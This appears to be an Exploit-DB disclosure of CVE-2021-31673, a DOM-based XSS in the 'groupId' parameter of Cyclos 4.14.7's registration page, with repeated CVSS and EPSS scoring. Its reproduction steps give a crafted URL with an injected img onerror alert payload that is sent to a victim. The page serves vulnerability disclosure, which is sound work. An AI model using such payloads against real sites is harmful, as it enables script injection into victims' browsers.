Tin PhamEDB-ID:50909Cyclos 4.14.7 - 'groupId' DOM Based Cross-Site Scripting (XSS)
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.003 Low
EPSS
Percentile
70.8%
# Exploit Title: Cyclos 4.14.7 - 'groupId' DOM Based Cross-Site Scripting (XSS)
# Date: 17/04/2021
# Exploit Author: Tin Pham aka TF1T of VietSunshine Cyber Security Services
# Vendor Homepage: https://www.cyclos.org/
# Version: Cyclos 4.14.7 (and prior)
# Tested on: Ubuntu
# CVE : CVE-2021-31673
# Description:
A Dom-based Cross-site scripting (XSS) vulnerability at registration account in Cyclos 4 PRO.14.7 and prior allows remote attackers to inject arbitrary web script or HTML via the 'groupId' parameter.
# Steps to reproduce:
An attacker sends a draft URL
[IP]/#users.users.public-registration!groupId=1%27%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E to victim.
When a victim opens the URL, XSS will be triggered.Related
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.003 Low
EPSS
Percentile
70.8%